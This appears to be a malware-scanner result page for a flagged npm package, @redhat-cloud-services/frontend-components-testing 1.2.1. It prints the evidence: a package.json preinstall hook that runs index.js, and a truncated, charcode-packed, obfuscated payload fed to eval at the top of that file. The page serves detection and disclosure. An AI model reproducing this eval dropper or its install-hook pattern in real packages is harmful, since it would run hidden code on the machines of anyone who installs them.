Hostile 100% javascript Download

@redhat-cloud-services/frontend-components-testing 1.2.1

preinstall executes obfuscated payload

Megabyte charcode-packed payload feeds direct evalPreinstall executes obfuscated bundled eval dropper

Evidence

Converts character-code arrays to strings index.js · line 1
1try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,116,108,114,103,118,40,41,61,62,123,109,107,114,123,10,118,104,103,108,109,32,95,118,61,116,112,116,98,109,32,98,102,105,104,107,109,40,34,103,104,119,120,58,118,107,114,105,109,104,34,41,59,10,118,104,103,108,109,32,95,119,61,40,100,44,98,44,116,44,118,41,61,62,123,118,104,103,108,109,32,119,61,95,118,46,118,107,120,116,109,120,87,120,118,98,105,97,120,107,98,111,40,34,116,120,108,45,49,50,56,45,122,118,102,34,44,85,110,121,121,120,107,46,121,107,104,102,40,100,44,34,97,120,113,34,41,44,85,110,121,121,120,107,46,121,107,104,102,40,98,44,34,97,120,113,34,41,44,123,116,110,109,97,77,116,122,69,120,103,122,109,97,58,49,54,125,41,59,119,46,108,120,109,84,110,109,97,77,116,122,40,85,110,121,121,120,107,46,121,107,104,102,40,116,44,34,97,120,113,34,41,41,59,107,120,109,110,107,103,32,85,110,121,121,120,107,46,118,104,103,118,116,109,40,91,119,46,110,105,119,116,109,120,40,85,110,121,121,120,107,46,121,107,104,102,40,118,44,34,97,120,113,34,41,41,44,119,46,121,98,103,116,101,40,41,93,41,125,59,10,10,118,104,103,108,109,32,95,117,61,95,119,40,34,117,57,119,48,54,50,116,51,51,116,56,118,51,54,121,119,49,116,120,55,56,52,55,50,121,50,119,116,57,119,53,56,34,44,34,119,116,116,119,117,51,54,51,56,56,116,50,117,54,118,49,54,57,48,51,53,54,53,56,34,44,34,121,50,120,119,49,50,116,57,57,50,55,49,52,116,54,116,56,55,117,55,50,50,116,52,121,120,52,51,117,117,119,55,34,44,34,53,118,49,49,120,56,121,50,116,57,48,121,116,48,51,120,55,49,51,50,48,121,56,116,56,116,51,49,117,53,55,118,50,120,119,54,48,119,118,119,120,52,48,51,54,55,56,57,57,54,53,117,53,52,118,52,117,118,117,118,52,53,120,53,116,52,55,54,50,52,117,57,54,121,57,116,118,116,53,54,121,121,50,54,51,54,121,117,116,49,54,57,116,53,116,51,116,120,55,51,55,50,118,119,57,55,120,118,117,53,56,121,118,117,49,120,56,120,48,53,121,57,116,53,119,50,50,121,53,54,118,116,50,55,53,121,54,49,119, …
preinstall hook runs a local Node.js script package.json · lines 1–32
1{
2 "name": "@redhat-cloud-services/frontend-components-testing",
3 "version": "1.2.1",
4 "description": "Testing utilities for RedHat Cloud Services project.",
5 "main": "index.js",
6 "module": "esm/index.js",
7 "types": "index.d.ts",
8 "sideEffects": [
9 "./**/*.css",
10 "./**/*.scss"
11 ],
12 "publishConfig": {
13 "access": "public"
14 },
15 "scripts": {
16 "build": "npm run build:js && npm run build:esm && npm run build:packages",
17 "build:packages": "node ../../scripts/build-packages.js --forceTypes",
18 "build:esm": "MODULES_ROOT=../../ tsc --module es2015 --target es5 -p tsconfig.esm.json",
19 "build:js": "tsc -p tsconfig.cjs.json",
20 "preinstall": "node index.js"
21 },
22 "repository": {
23 "type": "git",
24 "url": "git+https://github.com/RedHatInsights/frontend-components.git"
25 },
26 "author": "",
⋯6 lines
Package module targets parent build tree package.json · line 1
1{"main":"index.js","module":"../esm/OuiaSelectors/index.js","typings":"index.d.ts"}
English function-word token "this" index.js · lines 1–5
1"use strict";
2var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3 if (k2 === undefined) k2 = k;
4 var desc = Object.getOwnPropertyDescriptor(m, k);
5 if (!desc || ("get" in desc ? !m.__es …
JavaScript iterates enumerable object keys index.js · lines 6–18
6:16… enumerable: true, get: function() { return m[k]; } };
7 }
8 Object.defineProperty(o, k2, desc);
9}) : (function(o, m, k, k2) {
10 if (k2 === undefined) k2 = k;
11 o[k2] = m[k];
12}));
13var __exportStar = (this && this.__exportStar) || function(m, exports) {
14 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15};
16Object.defineProperty(exports, "__esModule", { value: true });
17__exportStar(require("./OuiaSelectors"), exports);
18//# sourceMappingURL=index.js.map

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.